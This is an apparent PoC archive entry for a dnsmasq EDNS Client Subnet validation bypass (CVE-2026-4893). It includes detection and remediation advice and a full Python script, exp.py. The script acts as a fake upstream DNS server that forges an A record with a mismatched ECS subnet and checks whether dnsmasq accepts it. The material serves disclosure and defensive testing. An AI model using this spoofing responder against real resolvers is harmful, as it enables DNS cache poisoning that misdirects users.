PoC Archive PoC Archive
Medium CVE-2026-4893 unpatched

dnsmasq EDNS Client Subnet (ECS) Response Validation Bypass (CVE-2026-4893)

by lottiedeyan · 2026-07-05

Severity
Medium
CVE
CVE-2026-4893
Category
network
Affected product
dnsmasq (DNS forwarder/cache)
Affected versions
Not specified in source (repo only names the flaw class: "ECS validation and buffer overflow flaws")
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherlottiedeyan
CVE / AdvisoryCVE-2026-4893
Categorynetwork
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsdnsmasq, dns, edns, ecs, rfc7871, cache-poisoning, spoofing, udp
RelatedN/A

Affected Target

FieldValue
Software / Systemdnsmasq (DNS forwarder/cache)
Versions AffectedNot specified in source (repo only names the flaw class: “ECS validation and buffer overflow flaws”)
Language / PlatformC (dnsmasq daemon); PoC written in Python 3
Authentication RequiredNo
Network Access RequiredYes (must be positioned to answer, or spoof answers to, dnsmasq’s upstream queries)

Summary

This PoC demonstrates that dnsmasq, when configured with EDNS Client Subnet (ECS, RFC 7871) via add-subnet, will accept an upstream DNS response carrying an ECS option whose subnet does not match the subnet dnsmasq originally sent in the query. The included exp.py acts as a fake upstream DNS server: it waits for dnsmasq’s query for a specific test name, then replies with a forged answer (1.2.3.4) wrapped in an EDNS0 OPT record advertising an unrelated/mismatched ECS subnet (127.18.0.0/24). A companion self-test then queries dnsmasq directly and checks whether dnsmasq returned the forged IP, which the author interprets as evidence dnsmasq did not validate/discard the mismatched-ECS reply as it should.


Vulnerability Details

Root Cause

Per the repo’s referenced write-up (a Medium article titled “reproduction journal: dnsmasq ECS validation and buffer overflow flaws”), dnsmasq does not properly validate that the ECS subnet returned in an upstream response corresponds to the subnet it requested for a given query. If dnsmasq accepts and caches/forwards such a mismatched response without discarding it, this weakens the assurance that ECS-tagged answers actually apply to the client subnet they claim to, which can facilitate response injection/cache poisoning style attacks against dnsmasq’s DNS resolution results.

Attack Vector

  1. Attacker controls (or can spoof packets from) the address dnsmasq is configured to use as its upstream server= (in the PoC, dnsmasq points at 127.0.0.1#5354 where the fake server listens).
  2. Attacker’s fake DNS server waits for dnsmasq to forward a query for the target name (trigger.evil.com in the PoC).
  3. Attacker crafts a DNS response for that query containing an attacker-chosen answer IP and an EDNS0 OPT record with an ECS option whose subnet (127.18.0.0/24) intentionally does not match the subnet dnsmasq sent (or would be expected to send) in its own query.
  4. dnsmasq accepts the response despite the ECS mismatch; the PoC’s self-test then queries dnsmasq for the same name and checks whether it returns the forged IP, confirming the mismatched reply was accepted.

Impact

An attacker able to answer (or spoof answers to) dnsmasq’s upstream queries can inject forged DNS answers under ECS-enabled configurations without the ECS-subnet consistency check dnsmasq’s add-subnet feature is expected to provide, potentially enabling DNS response/cache poisoning against clients relying on the dnsmasq resolver.


Environment / Lab Setup

Target:   dnsmasq configured with add-subnet, listening on port 5353, forwarding to a controlled upstream at 127.0.0.1#5354 (see dnsmasq.conf)
Attacker: Python 3 script (exp.py) bound as the fake upstream DNS server on 127.0.0.1:5354

Proof of Concept

PoC Script

See exp.py (fake upstream DNS server / spoofed-ECS responder) and dnsmasq.conf (test dnsmasq configuration) in this folder. See readme.txt for the original reproduction steps.

1
2
3
4
sudo cp dnsmasq.conf /etc/dnsmasq.conf
sudo systemctl restart dnsmasq

python3 exp.py

The script starts a UDP listener acting as dnsmasq’s upstream resolver, waits for a query for trigger.evil.com, and replies with a forged A record plus a deliberately mismatched ECS option. It concurrently runs a self-test that queries dnsmasq directly on port 5353 and reports whether dnsmasq returned the forged 1.2.3.4 answer, which indicates the mismatched ECS reply was accepted rather than discarded.


Detection & Indicators of Compromise

grep -i 'trigger.evil.com' /var/log/syslog

tcpdump -i any -n udp port 5354 -X

Signs of compromise:

  • DNS answers from an upstream resolver containing an ECS option subnet inconsistent with the subnet dnsmasq queried with
  • Unexpected/forged A records being served by dnsmasq for domains not actually pointing to that IP
  • dnsmasq upstream traffic to unexpected or unauthorized resolver addresses

Remediation

ActionDetail
Primary fixUpdate dnsmasq to a version that enforces ECS-subnet/response consistency validation; monitor the dnsmasq project’s advisories for a fix tied to CVE-2026-4893
Interim mitigationRestrict/authenticate upstream DNS servers dnsmasq forwards to (e.g. via TLS/DoT where supported, or strict network ACLs), and disable add-subnet/ECS forwarding if not required

References


Notes

Mirrored from https://github.com/lottiedeyan/CVE20264893poc on 2026-07-05.

exp.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
import random
import socket
import struct
import sys
import threading
import time
from typing import Tuple

# ====== setting ======
DNS_LISTEN_IP = "xxx.xxx.xxx.x"
DNS_PORT = 5353

# dnsmasq IP
DNSMASQ_IP = "127.0.0.1"
DNSMASQ_UPSTREAM_PORT = 5354

# fake IP
FAKE_IP = "1.2.3.4"

# Only answer this qname to avoid responding to unrelated multicast/local traffic
TARGET_QNAME = b"trigger.evil.com."

# Self-test: send one query to dnsmasq and see if it returns FAKE_IP.
# If dnsmasq is fixed, it should discard the mismatched ECS reply and timeout.
RUN_SELF_TEST = True
SELF_TEST_TIMEOUT = 3
VERBOSE_HEX = True


def encode_qname(name_bytes: bytes) -> bytes:
    name = name_bytes.rstrip(b".")
    if not name:
        return b"\x00"
    parts = name.split(b".")
    out = bytearray()
    for p in parts:
        out.append(len(p))
        out.extend(p)
    out.append(0)
    return bytes(out)


def parse_name(data: bytes, off: int, depth: int = 0) -> Tuple[bytes, int]:
    if depth > 10:
        raise ValueError("name compression loop")
    labels = []
    start = off
    jumped = False

    while True:
        if off >= len(data):
            raise ValueError("name out of bounds")
        length = data[off]
        if length == 0:
            off += 1
            break
        if (length & 0xC0) == 0xC0:
            if off + 1 >= len(data):
                raise ValueError("bad compression pointer")
            ptr = ((length & 0x3F) << 8) | data[off + 1]
            name, _ = parse_name(data, ptr, depth + 1)
            labels.append(name.rstrip(b"."))
            off += 2
            jumped = True
            break
        off += 1
        if off + length > len(data):
            raise ValueError("label out of bounds")
        labels.append(data[off:off + length])
        off += length

    name = b".".join(labels) + b"."
    return name, (start + 2) if jumped else off


def build_ecs_option() -> bytes:
    # RFC7871 ECS option (code 8)
    # format: family + source mask + scope mask + address
    ecs_data = b"\x00\x01"     # IPv4
    ecs_data += b"\x18"        # source prefix length = 24
    ecs_data += b"\x00"        # scope prefix length
    ecs_data += b"\x7F\x12\x00"  # fake subnet: 127.18.0.0/24

    # EDNS0 option format: code + length + data
    return b"\x00\x08" + len(ecs_data).to_bytes(2, "big") + ecs_data


def build_dns_response(qid: int, qname_wire: bytes, qtype: int, qclass: int) -> bytes:
    # Header: QR=1, AA=1
    flags = 0x8400
    header = struct.pack(">HHHHHH", qid, flags, 1, 1, 0, 1)

    question = qname_wire + struct.pack(">HH", qtype, qclass)

    # Answer: A record
    answer = (
        qname_wire
        + struct.pack(">HHI", 1, 1, 60)
        + struct.pack(">H", 4)
        + socket.inet_aton(FAKE_IP)
    )

    ecs_option = build_ecs_option()
    opt_rdata = ecs_option
    opt = (
        b"\x00"
        + struct.pack(">HHI", 41, 4096, 0)
        + struct.pack(">H", len(opt_rdata))
        + opt_rdata
    )

    return header + question + answer + opt


def parse_dns_query(data: bytes) -> dict:
    if len(data) < 12:
        raise ValueError("short DNS header")
    qid, flags, qdcount, _, _, _ = struct.unpack(">HHHHHH", data[:12])
    if qdcount != 1:
        raise ValueError("unexpected qdcount")
    qname, off = parse_name(data, 12)
    if off + 4 > len(data):
        raise ValueError("truncated question")
    qtype, qclass = struct.unpack(">HH", data[off:off + 4])
    return {
        "id": qid,
        "flags": flags,
        "qname": qname,
        "qname_wire": data[12:off],
        "qtype": qtype,
        "qclass": qclass,
    }


def handle_dns_query(data: bytes, addr: Tuple[str, int], sock: socket.socket) -> None:
    src_ip, src_port = addr
    try:
        q = parse_dns_query(data)
    except Exception as e:
        print(f"[!] Failed to parse DNS query: {e}")
        return

    if src_ip != DNSMASQ_IP:
        print(f"[!] Ignoring query from {src_ip} (not dnsmasq)")
        return
    if q["qname"] != TARGET_QNAME:
        print(f"[!] Ignoring non-target qname: {q['qname'].decode(errors='ignore')}")
        return

    print(f"[+] Received query: {q['qname'].decode()}")
    print(f"[>] Query from {src_ip}:{src_port} -> {DNSMASQ_IP}:{DNSMASQ_UPSTREAM_PORT}")
    if VERBOSE_HEX:
        print(f"[>] Query raw len={len(data)} hex={data.hex()}")

    resp = build_dns_response(q["id"], q["qname_wire"], q["qtype"], q["qclass"])
    try:
        sent = sock.sendto(resp, addr)
        print(f"[>] UDP sendto -> {src_ip}:{src_port} ({sent} bytes)")
        if b"\x00\x08" in resp:
            print("[>] EDNS0 option (code 8) present in outgoing payload")
        else:
            print("[!] EDNS0 option (code 8) NOT found in outgoing payload")
        print("[>] ECS set to 127.18.0.0/24 (mismatch expected)")
        if VERBOSE_HEX:
            print(f"[>] Reply raw len={len(resp)} hex={resp.hex()}")
        print("[+] Sent spoofed response with ECS option")
    except Exception as e:
        print("[!] UDP sendto failed:", e)


def serve_udp() -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        sock.bind((DNSMASQ_IP, DNSMASQ_UPSTREAM_PORT))
    except Exception as e:
        print("[!] Failed to bind UDP socket:", e)
        sys.exit(2)

    print(f"[*] Listening on {DNSMASQ_IP}:{DNSMASQ_UPSTREAM_PORT} (UDP)")
    while True:
        try:
            data, addr = sock.recvfrom(4096)
        except KeyboardInterrupt:
            print("\n[*] Stopped.")
            break
        except Exception as e:
            print("[!] recvfrom failed:", e)
            continue

        handle_dns_query(data, addr, sock)


def self_test() -> None:
    time.sleep(0.5)
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(SELF_TEST_TIMEOUT)
    try:
        qid = random.getrandbits(16)
        qname_wire = encode_qname(TARGET_QNAME)
        header = struct.pack(">HHHHHH", qid, 0x0100, 1, 0, 0, 0)
        question = qname_wire + struct.pack(">HH", 1, 1)
        query = header + question
        sock.sendto(query, (DNS_LISTEN_IP, DNS_PORT))
        data, src = sock.recvfrom(4096)

        answer_ip = None
        if len(data) >= 12:
            _, _, qd, an, _, _ = struct.unpack(">HHHHHH", data[:12])
            off = 12
            for _ in range(qd):
                _, off = parse_name(data, off)
                off += 4
            for _ in range(an):
                _, off = parse_name(data, off)
                if off + 10 > len(data):
                    break
                rtype, rclass, _, rdlen = struct.unpack(">HHIH", data[off:off + 10])
                off += 10
                if rtype == 1 and rclass == 1 and rdlen == 4 and off + 4 <= len(data):
                    answer_ip = socket.inet_ntoa(data[off:off + 4])
                    break
                off += rdlen

        print(f"[>] dnsmasq reply from {src[0]}:{src[1]}")
        print(f"[>] dnsmasq answer_ip={answer_ip}")
        if VERBOSE_HEX:
            print(f"[>] dnsmasq reply raw len={len(data)} hex={data.hex()}")
        if answer_ip == FAKE_IP:
            print("[!] VULNERABLE: dnsmasq accepted mismatched ECS reply (ECS=127.18.0.0/24)")
        else:
            print("[*] No FAKE_IP answer received (likely fixed or filtered)")
    except socket.timeout:
        print("[*] No response from dnsmasq (likely fixed or filtered)")
    except Exception as e:
        print("[!] Self-test failed:", e)
    finally:
        sock.close()


# ====== start listening ======
print("[*] Starting fake upstream DNS server...")
if RUN_SELF_TEST:
    threading.Thread(target=self_test, daemon=True).start()
serve_udp()